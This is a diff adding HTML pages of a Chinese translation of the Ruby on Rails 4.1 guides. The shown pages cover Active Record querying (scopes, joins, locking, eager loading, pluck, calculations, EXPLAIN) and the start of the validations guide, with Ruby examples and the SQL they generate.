+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+
+
+
+

这个方法没有参数。

8.5 rewhere +

rewhere 方法覆盖前面的 where 条件。例如:

+
+Post.where(trashed: true).rewhere(trashed: false)
+
+
+
+

执行的 SQL 语句如下:

+
+SELECT * FROM posts WHERE `trashed` = 0
+
+
+
+

如果不使用 rewhere 方法,写成:

+
+Post.where(trashed: true).where(trashed: false)
+
+
+
+

执行的 SQL 语句如下:

+
+SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0
+
+
+
+

9 空关系

none 返回一个可链接的关系,没有相应的记录。none 方法返回对象的后续条件查询,得到的还是空关系。如果想以可链接的方式响应可能无返回结果的方法或者作用域,可使用 none 方法。

+
+Post.none # returns an empty Relation and fires no queries.
+
+
+
+
+
+# The visible_posts method below is expected to return a Relation.
+@posts = current_user.visible_posts.where(name: params[:name])
+
+def visible_posts
+  case role
+  when 'Country Manager'
+    Post.where(country: country)
+  when 'Reviewer'
+    Post.published
+  when 'Bad User'
+    Post.none # => returning [] or nil breaks the caller code in this case
+  end
+end
+
+
+
+

10 只读对象

Active Record 提供了 readonly 方法,禁止修改获取的对象。试图修改只读记录的操作不会成功,而且会抛出 ActiveRecord::ReadOnlyRecord 异常。

+
+client = Client.readonly.first
+client.visits += 1
+client.save
+
+
+
+

因为把 client 设为了只读对象,所以上述代码调用 client.save 方法修改 visits 的值时会抛出 ActiveRecord::ReadOnlyRecord 异常。

11 更新时锁定记录

锁定可以避免更新记录时的条件竞争,也能保证原子更新。

Active Record 提供了两种锁定机制:

+
    +
  • 乐观锁定
  • +
  • 悲观锁定
  • +
+

11.1 乐观锁定

乐观锁定允许多个用户编辑同一个记录,假设数据发生冲突的可能性最小。Rails 会检查读取记录后是否有其他程序在修改这个记录。如果检测到有其他程序在修改,就会抛出 ActiveRecord::StaleObjectError 异常,忽略改动。

乐观锁定字段

为了使用乐观锁定,数据表中要有一个类型为整数的 lock_version 字段。每次更新记录时,Active Record 都会增加 lock_version 字段的值。如果更新请求中的 lock_version 字段值比数据库中的 lock_version 字段值小,会抛出 ActiveRecord::StaleObjectError 异常,更新失败。例如:

+
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+
+
+
+

抛出异常后,你要负责处理冲突,可以回滚操作、合并操作或者使用其他业务逻辑处理。

乐观锁定可以使用 ActiveRecord::Base.lock_optimistically = false 关闭。

要想修改 lock_version 字段的名字,可以使用 ActiveRecord::Base 提供的 locking_column 类方法:

+
+class Client < ActiveRecord::Base
+  self.locking_column = :lock_client_column
+end
+
+
+
+

11.2 悲观锁定

悲观锁定使用底层数据库提供的锁定机制。使用 lock 方法构建的关系在所选记录上生成一个“互斥锁”(exclusive lock)。使用 lock 方法构建的关系一般都放入事务中,避免死锁。

例如:

+
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save
+end
+
+
+
+

在 MySQL 中,上述代码生成的 SQL 如下:

+
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+
+
+
+

lock 方法还可以接受 SQL 语句,使用其他锁定类型。例如,MySQL 中有一个语句是 LOCK IN SHARE MODE,会锁定记录,但还是允许其他查询读取记录。要想使用这个语句,直接传入 lock 方法即可:

+
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+
+
+
+

如果已经创建了模型实例,可以在事务中加上这种锁定,如下所示:

+
+item = Item.first
+item.with_lock do
+  # This block is called within a transaction,
+  # item is already locked.
+  item.increment!(:views)
+end
+
+
+
+

12 连接数据表

Active Record 提供了一个查询方法名为 joins,用来指定 SQL JOIN 子句。joins 方法的用法有很多种。

12.1 使用字符串形式的 SQL 语句

joins 方法中可以直接使用 JOIN 子句的 SQL:

+
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+
+
+
+

12.2 使用数组或 Hash 指定具名关联

这种方法只用于 INNER JOIN

使用 joins 方法时,可以使用声明关联时使用的关联名指定 JOIN 子句。

例如,假如按照如下方式定义 CategoryPostCommentGuestTag 模型:

+
+class Category < ActiveRecord::Base
+  has_many :posts
+end
+
+class Post < ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+  belongs_to :comment
+end
+
+class Tag < ActiveRecord::Base
+  belongs_to :post
+end
+
+
+
+

下面各种用法能都使用 INNER JOIN 子句生成正确的连接查询:

12.2.1 连接单个关联
+
+Category.joins(:posts)
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+
+
+
+

用人类语言表达,上述查询的意思是,“使用文章的分类创建分类对象”。注意,分类对象可能有重复,因为多篇文章可能属于同一分类。如果不想出现重复,可使用 Category.joins(:posts).uniq 方法。

12.2.2 连接多个关联
+
+Post.joins(:category, :comments)
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT posts.* FROM posts
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+
+
+
+

用人类语言表达,上述查询的意思是,“返回指定分类且至少有一个评论的所有文章”。注意,如果文章有多个评论,同个文章对象会出现多次。

12.2.3 连接一层嵌套关联
+
+Post.joins(comments: :guest)
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT posts.* FROM posts
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+
+
+
+

用人类语言表达,上述查询的意思是,“返回有一个游客发布评论的所有文章”。

12.2.4 连接多层嵌套关联
+
+Category.joins(posts: [{ comments: :guest }, :tags])
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.post_id = posts.id
+
+
+
+

12.3 指定用于连接数据表上的条件

作用在连接数据表上的条件可以使用数组字符串指定。[Hash 形式的条件]((#hash-conditions)使用的句法有点特殊:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+
+
+
+

还有一种更简洁的句法是使用嵌套 Hash:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: { created_at: time_range })
+
+
+
+

上述查询会获取昨天下订单的所有客户对象,再次用到了 SQL BETWEEN 语句。

13 按需加载关联

使用 Model.find 方法获取对象的关联记录时,按需加载机制会使用尽量少的查询次数。

N + 1 查询问题

假设有如下的代码,获取 10 个客户对象,并把客户的邮编打印出来

+
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

上述代码初看起来很好,但问题在于查询的总次数。上述代码总共会执行 1(获取 10 个客户记录)+ 10(分别获取 10 个客户的地址)= 11 次查询。

N + 1 查询的解决办法

在 Active Record 中可以进一步指定要加载的所有关联,调用 Model.find 方法是使用 includes 方法实现。使用 includes 后,Active Record 会使用尽可能少的查询次数加载所有指定的关联。

我们可以使用按需加载机制加载客户的地址,把 Client.limit(10) 改写成:

+
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

和前面的 11 次查询不同,上述代码只会执行 2 次查询:

+
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+
+
+
+

13.1 按需加载多个关联

调用 Model.find 方法时,使用 includes 方法可以一次加载任意数量的关联,加载的关联可以通过数组、Hash、嵌套 Hash 指定。

13.1.1 用数组指定多个关联
+
+Post.includes(:category, :comments)
+
+
+
+

上述代码会加载所有文章,以及和每篇文章关联的分类和评论。

13.1.2 使用 Hash 指定嵌套关联
+
+Category.includes(posts: [{ comments: :guest }, :tags]).find(1)
+
+
+
+

上述代码会获取 ID 为 1 的分类,按需加载所有关联的文章,文章的标签和评论,以及每个评论的 guest 关联。

13.2 指定用于按需加载关联上的条件

虽然 Active Record 允许使用 joins 方法指定用于按需加载关联上的条件,但是推荐的做法是使用连接数据表

如果非要这么做,可以按照常规方式使用 where 方法。

+
+Post.includes(:comments).where("comments.visible" => true)
+
+
+
+

上述代码生成的查询中会包含 LEFT OUTER JOIN 子句,而 joins 方法生成的查询使用的是 INNER JOIN 子句。

+
+SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+
+
+
+

如果没指定 where 条件,上述代码会生成两个查询语句。

如果像上面的代码一样使用 includes,即使所有文章都没有评论,也会加载所有文章。使用 joins 方法(INNER JOIN)时,必须满足连接条件,否则不会得到任何记录。

14 作用域

作用域把常用的查询定义成方法,在关联对象或模型上调用。在作用域中可以使用前面介绍的所有方法,例如 wherejoinsincludes。所有作用域方法都会返回一个 ActiveRecord::Relation 对象,允许继续调用其他方法(例如另一个作用域方法)。

要想定义简单的作用域,可在类中调用 scope 方法,传入执行作用域时运行的代码:

+
+class Post < ActiveRecord::Base
+  scope :published, -> { where(published: true) }
+end
+
+
+
+

上述方式和直接定义类方法的作用一样,使用哪种方式只是个人喜好:

+
+class Post < ActiveRecord::Base
+  def self.published
+    where(published: true)
+  end
+end
+
+
+
+

作用域可以链在一起调用:

+
+class Post < ActiveRecord::Base
+  scope :published,               -> { where(published: true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+
+
+
+

可以在模型类上调用 published 作用域:

+
+Post.published # => [published posts]
+
+
+
+

也可以在包含 Post 对象的关联上调用:

+
+category = Category.first
+category.posts.published # => [published posts belonging to this category]
+
+
+
+

14.1 传入参数

作用域可接受参数:

+
+class Post < ActiveRecord::Base
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+
+
+
+

作用域的调用方法和类方法一样:

+
+Post.created_before(Time.zone.now)
+
+
+
+

不过这就和类方法的作用一样了。

+
+class Post < ActiveRecord::Base
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+
+
+
+

如果作用域要接受参数,推荐直接使用类方法。有参数的作用域也可在关联对象上调用:

+
+category.posts.created_before(time)
+
+
+
+

14.2 合并作用域

where 方法一样,作用域也可通过 AND 合并查询条件:

+
+class User < ActiveRecord::Base
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+
+
+
+

作用域还可以 where 一起使用,生成的 SQL 语句会使用 AND 连接所有条件。

+
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+
+
+
+

如果不想让最后一个 WHERE 子句获得优先权,可以使用 Relation#merge 方法。

+
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

使用作用域时要注意,default_scope 会添加到作用域和 where 方法指定的条件之前。

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+
+
+
+

如上所示,default_scope 中的条件添加到了 activewhere 之前。

14.3 指定默认作用域

如果某个作用域要用在模型的所有查询中,可以在模型中使用 default_scope 方法指定。

+
+class Client < ActiveRecord::Base
+  default_scope { where("removed_at IS NULL") }
+end
+
+
+
+

执行查询时使用的 SQL 语句如下:

+
+SELECT * FROM clients WHERE removed_at IS NULL
+
+
+
+

如果默认作用域中的条件比较复杂,可以使用类方法的形式定义:

+
+class Client < ActiveRecord::Base
+  def self.default_scope
+    # Should return an ActiveRecord::Relation.
+  end
+end
+
+
+
+

14.4 删除所有作用域

如果基于某些原因想删除作用域,可以使用 unscoped 方法。如果模型中定义了 default_scope,而在这个作用域中不需要使用,就可以使用 unscoped 方法。

+
+Client.unscoped.load
+
+
+
+

unscoped 方法会删除所有作用域,在数据表中执行常规查询。

注意,不能在作用域后链式调用 unscoped,这时可以使用代码块形式的 unscoped 方法:

+
+Client.unscoped {
+  Client.created_before(Time.zone.now)
+}
+
+
+
+

15 动态查询方法

Active Record 为数据表中的每个字段都提供了一个查询方法。例如,在 Client 模型中有个 first_name 字段,那么 Active Record 就会生成 find_by_first_name 方法。如果在 Client 模型中有个 locked 字段,就有一个 find_by_locked 方法。

在这些动态生成的查询方法后,可以加上感叹号(!),例如 Client.find_by_name!("Ryan")。此时,如果找不到记录就会抛出 ActiveRecord::RecordNotFound 异常。

如果想同时查询 first_namelocked 字段,可以用 and 把两个字段连接起来,获得所需的查询方法,例如 Client.find_by_first_name_and_locked("Ryan", true)

16 查找或构建新对象

某些动态查询方法在 Rails 4.0 中已经启用,会在 Rails 4.1 中删除。推荐的做法是使用 Active Record 作用域。废弃的方法可以在这个 gem 中查看:https://github.com/rails/activerecord-deprecated_finders

我们经常需要在查询不到记录时创建一个新记录。这种需求可以使用 find_or_create_byfind_or_create_by! 方法实现。

16.1 find_or_create_by +

find_or_create_by 方法首先检查指定属性对应的记录是否存在,如果不存在就调用 create 方法。我们来看一个例子。

假设你想查找一个名为“Andy”的客户,如果这个客户不存在就新建。这个需求可以使用下面的代码完成:

+
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+
+
+

上述方法生成的 SQL 语句如下:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+
+
+
+

find_or_create_by 方法返回现有的记录或者新建的记录。在上面的例子中,名为“Andy”的客户不存在,所以会新建一个记录,然后将其返回。

新纪录可能没有存入数据库,这取决于是否能通过数据验证(就像 create 方法一样)。

假设创建新记录时,要把 locked 属性设为 false,但不想在查询中设置。例如,我们要查询一个名为“Andy”的客户,如果这个客户不存在就新建一个,而且 locked 属性为 false

这种需求有两种实现方法。第一种,使用 create_with 方法:

+
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+
+
+
+

第二种,使用代码块:

+
+Client.find_or_create_by(first_name: 'Andy') do |c|
+  c.locked = false
+end
+
+
+
+

代码块中的代码只会在创建客户之后执行。再次运行这段代码时,会忽略代码块中的代码。

16.2 find_or_create_by! +

还可使用 find_or_create_by! 方法,如果新纪录不合法,会抛出异常。本文不涉及数据验证,假设已经在 Client 模型中定义了下面的验证:

+
+validates :orders_count, presence: true
+
+
+
+

如果创建新 Client 对象时没有指定 orders_count 属性的值,这个对象就是不合法的,会抛出以下异常:

+
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+
+
+
+

16.3 find_or_initialize_by +

find_or_initialize_by 方法和 find_or_create_by 的作用差不多,但不调用 create 方法,而是 new 方法。也就是说新建的模型实例在内存中,没有存入数据库。继续使用前面的例子,现在我们要查询的客户名为“Nick”:

+
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+
+
+
+

因为对象不会存入数据库,上述代码生成的 SQL 语句如下:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+
+
+
+

如果想把对象存入数据库,调用 save 方法即可:

+
+nick.save
+# => true
+
+
+
+

17 使用 SQL 语句查询

如果想使用 SQL 语句查询数据表中的记录,可以使用 find_by_sql 方法。就算只找到一个记录,find_by_sql 方法也会返回一个由记录组成的数组。例如,可以运行下面的查询:

+
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER BY clients.created_at desc")
+
+
+
+

find_by_sql 方法提供了一种定制查询的简单方式。

17.1 select_all +

find_by_sql 方法有一个近亲,名为 connection#select_all。和 find_by_sql 一样,select_all 方法会使用 SQL 语句查询数据库,获取记录,但不会初始化对象。select_all 返回的结果是一个由 Hash 组成的数组,每个 Hash 表示一个记录。

+
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+
+
+
+

17.2 pluck +

pluck 方法可以在模型对应的数据表中查询一个或多个字段,其参数是一组字段名,返回结果是由各字段的值组成的数组。

+
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+
+
+

如下的代码:

+
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map(&:id)
+# or
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+
+
+
+

可用 pluck 方法实现:

+
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+
+
+
+

select 方法不一样,pluck 直接把查询结果转换成 Ruby 数组,不生成 Active Record 对象,可以提升大型查询或常用查询的执行效率。但 pluck 方法不会使用重新定义的属性方法处理查询结果。例如:

+
+class Client < ActiveRecord::Base
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+
+
+
+

而且,与 select 和其他 Relation 作用域不同的是,pluck 方法会直接执行查询,因此后面不能和其他作用域链在一起,但是可以链接到已经执行的作用域之后:

+
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+
+
+
+

17.3 ids +

ids 方法可以直接获取数据表的主键。

+
+Person.ids
+# SELECT id FROM people
+
+
+
+
+
+class Person < ActiveRecord::Base
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+
+
+
+

18 检查对象是否存在

如果只想检查对象是否存在,可以使用 exists? 方法。这个方法使用的数据库查询和 find 方法一样,但不会返回对象或对象集合,而是返回 truefalse

+
+Client.exists?(1)
+
+
+
+

exists? 方法可以接受多个值,但只要其中一个记录存在,就会返回 true

+
+Client.exists?(id: [1,2,3])
+# or
+Client.exists?(name: ['John', 'Sergei'])
+
+
+
+

在模型或关系上调用 exists? 方法时,可以不指定任何参数。

+
+Client.where(first_name: 'Ryan').exists?
+
+
+
+

在上述代码中,只要有一个客户的 first_name 字段值为 'Ryan',就会返回 true,否则返回 false

+
+Client.exists?
+
+
+
+

在上述代码中,如果 clients 表是空的,会返回 false,否则返回 true

在模型或关系中检查存在性时还可使用 any?many? 方法。

+
+# via a model
+Post.any?
+Post.many?
+
+# via a named scope
+Post.recent.any?
+Post.recent.many?
+
+# via a relation
+Post.where(published: true).any?
+Post.where(published: true).many?
+
+# via an association
+Post.first.categories.any?
+Post.first.categories.many?
+
+
+
+

19 计算

这里先以 count 方法为例,所有的选项都可在后面各方法中使用。

所有计算型方法都可直接在模型上调用:

+
+Client.count
+# SELECT count(*) AS count_all FROM clients
+
+
+
+

或者在关系上调用:

+
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+
+
+
+

执行复杂计算时还可使用各种查询方法:

+
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+
+
+
+

上述代码执行的 SQL 语句如下:

+
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+
+
+
+

19.1 计数

如果想知道模型对应的数据表中有多少条记录,可以使用 Client.count 方法。如果想更精确的计算设定了 age 字段的记录数,可以使用 Client.count(:age)

count 方法可用的选项如前所述

19.2 平均值

如果想查看某个字段的平均值,可以使用 average 方法。用法如下:

+
+Client.average("orders_count")
+
+
+
+

这个方法会返回指定字段的平均值,得到的有可能是浮点数,例如 3.14159265。

average 方法可用的选项如前所述

19.3 最小值

如果想查看某个字段的最小值,可以使用 minimum 方法。用法如下:

+
+Client.minimum("age")
+
+
+
+

minimum 方法可用的选项如前所述

19.4 最大值

如果想查看某个字段的最大值,可以使用 maximum 方法。用法如下:

+
+Client.maximum("age")
+
+
+
+

maximum 方法可用的选项如前所述

19.5 求和

如果想查看所有记录中某个字段的总值,可以使用 sum 方法。用法如下:

+
+Client.sum("orders_count")
+
+
+
+

sum 方法可用的选项如前所述

20 执行 EXPLAIN 命令

可以在关系执行的查询中执行 EXPLAIN 命令。例如:

+
+User.where(id: 1).joins(:posts).explain
+
+
+
+

在 MySQL 中得到的输出如下:

+
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
+|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+2 rows in set (0.00 sec)
+
+
+
+

Active Record 会按照所用数据库 shell 的方式输出结果。所以,相同的查询在 PostgreSQL 中得到的输出如下:

+
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (posts.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (posts.user_id = 1)
+(6 rows)
+
+
+
+

按需加载会触发多次查询,而且有些查询要用到之前查询的结果。鉴于此,explain 方法会真正执行查询,然后询问查询计划。例如:

+
+User.where(id: 1).includes(:posts).explain
+
+
+
+

在 MySQL 中得到的输出如下:

+
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts`  WHERE `posts`.`user_id` IN (1)
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+1 row in set (0.00 sec)
+
+
+
+

20.1 解读 EXPLAIN 命令的输出结果

解读 EXPLAIN 命令的输出结果不在本文的范畴之内。下面列出的链接可以帮助你进一步了解相关知识:

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_validations.html b/v4.1/active_record_validations.html new file mode 100644 index 0000000..f01e34e --- /dev/null +++ b/v4.1/active_record_validations.html @@ -0,0 +1,1083 @@ + + + + + + + +Active Record 数据验证 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 数据验证

本文介绍如何使用 Active Record 提供的数据验证功能在数据存入数据库之前验证对象的状态。

读完本文,你将学到:

+
    +
  • 如何使用 Active Record 内建的数据验证帮助方法;
  • +
  • 如何编写自定义的数据验证方法;
  • +
  • 如何处理验证时产生的错误消息;
  • +
+ + + + +
+
+ +
+
+
+

1 数据验证简介

下面演示一个非常简单的数据验证:

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

如上所示,如果 Personname 属性值为空,验证就会将其视为不合法对象。创建的第二个 Person 对象不会存入数据库。

在深入探讨之前,我们先来介绍数据验证在整个程序中的作用。

1.1 为什么要做数据验证?

数据验证能确保只有合法的数据才会存入数据库。例如,程序可能需要用户提供一个合法的 Email 地址和邮寄地址。在模型中做验证是最有保障的,只有通过验证的数据才能存入数据库。数据验证和使用的数据库种类无关,终端用户也无法跳过,而且容易测试和维护。在 Rails 中做数据验证很简单,Rails 内置了很多帮助方法,能满足常规的需求,而且还可以编写自定义的验证方法。

数据存入数据库之前的验证方法还有其他几种,包括数据库内建的约束,客户端验证和控制器层验证。下面列出了这几种验证方法的优缺点:

+
    +
  • 数据库约束和“存储过程”无法兼容多种数据库,而且测试和维护较为困难。不过,如果其他程序也要使用这个数据库,最好在数据库层做些约束。数据库层的某些验证(例如在使用量很高的数据表中做唯一性验证)通过其他方式实现起来有点困难。
  • +
  • 客户端验证很有用,但单独使用时可靠性不高。如果使用 JavaScript 实现,用户在浏览器中禁用 JavaScript 后很容易跳过验证。客户端验证和其他验证方式结合使用,可以为用户提供实时反馈。
  • +
  • 控制器层验证很诱人,但一般都不灵便,难以测试和维护。只要可能,就要保证控制器的代码简洁性,这样才有利于长远发展。
  • +
+

你可以根据实际的需求选择使用哪种验证方式。Rails 团队认为,模型层数据验证最具普适性。

1.2 什么时候做数据验证?

在 Active Record 中对象有两种状态:一种在数据库中有对应的记录,一种没有。新建的对象(例如,使用 new 方法)还不属于数据库。在对象上调用 save 方法后,才会把对象存入相应的数据表。Active Record 使用实例方法 new_record? 判断对象是否已经存入数据库。假如有下面这个简单的 Active Record 类:

+
+class Person < ActiveRecord::Base
+end
+
+
+
+

我们可以在 rails console 中看一下到底怎么回事:

+
+$ rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+
+
+
+

新建并保存记录会在数据库中执行 SQL INSERT 操作。更新现有的记录会在数据库上执行 SQL UPDATE 操作。一般情况下,数据验证发生在这些 SQL 操作执行之前。如果验证失败,对象会被标记为不合法,Active Record 不会向数据库发送 INSERTUPDATE 指令。这样就可以避免把不合法的数据存入数据库。你可以选择在对象创建、保存或更新时执行哪些数据验证。

修改数据库中对象的状态有很多方法。有些方法会做数据验证,有些则不会。所以,如果不小心处理,还是有可能把不合法的数据存入数据库。

下列方法会做数据验证,如果验证失败就不会把对象存入数据库:

+
    +
  • create
  • +
  • create!
  • +
  • save
  • +
  • save!
  • +
  • update
  • +
  • update!
  • +
+

爆炸方法(例如 save!)会在验证失败后抛出异常。验证失败后,非爆炸方法不会抛出异常,saveupdate 返回 falsecreate 返回对象本身。

1.3 跳过验证

下列方法会跳过验证,不管验证是否通过都会把对象存入数据库,使用时要特别留意。

+
    +
  • decrement!
  • +
  • decrement_counter
  • +
  • increment!
  • +
  • increment_counter
  • +
  • toggle!
  • +
  • touch
  • +
  • update_all
  • +
  • update_attribute
  • +
  • update_column
  • +
  • update_columns
  • +
  • update_counters
  • +
+

注意,使用 save 时如果传入 validate: false,也会跳过验证。使用时要特别留意。

+
    +
  • save(validate: false)
  • +
+

1.4 valid?invalid? +

Rails 使用 valid? 方法检查对象是否合法。valid? 方法会触发数据验证,如果对象上没有错误,就返回 true,否则返回 false。前面我们已经用过了:

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

Active Record 验证结束后,所有发现的错误都可以通过实例方法 errors.messages 获取,该方法返回一个错误集合。如果数据验证后,这个集合为空,则说明对象是合法的。

注意,使用 new 方法初始化对象时,即使不合法也不会报错,因为这时还没做数据验证。

+
